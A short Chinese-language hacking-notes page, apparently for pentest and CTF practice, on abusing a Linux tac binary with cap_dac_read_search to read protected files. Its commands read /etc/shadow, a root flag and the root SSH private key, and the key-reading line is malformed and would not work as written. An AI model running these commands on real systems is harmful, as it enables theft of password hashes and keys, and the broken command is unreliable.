> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/capabilities/capabilities-tac-linux-privilege-escalation.md).
# Capabilities（tac）- Linux 权限提升
Capabilities（tac）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
Linux capabilities 将 root 权限拆分为可分配给二进制文件的细粒度权限。危险的能力，例如 `cap_setuid+ep`, `cap_dac_read_search+ep`，或文件写入能力可以绕过普通用户限制。此页面专注于 **能力（tac）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
getcap -r / 2>/dev/null
```
## 示例
我们列出具有特定能力的文件：
```bash
getcap -r / 2>/dev/null
```
我们发现 **tac** 具有 `cap_dac_read_search+ei` 能力：
#### 使用 tac 操作来读取受保护文件
该 `tac` 命令（是……的反向 `cat`）允许我们通过反转其内容来读取这些文件。
```bash
tac /etc/shadow
```
### root.txt 标志 :)
**读取 root.txt flag**
```bash
tac /root/root.txt | tac
```
**恢复 SSH root 密钥**
```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```
---
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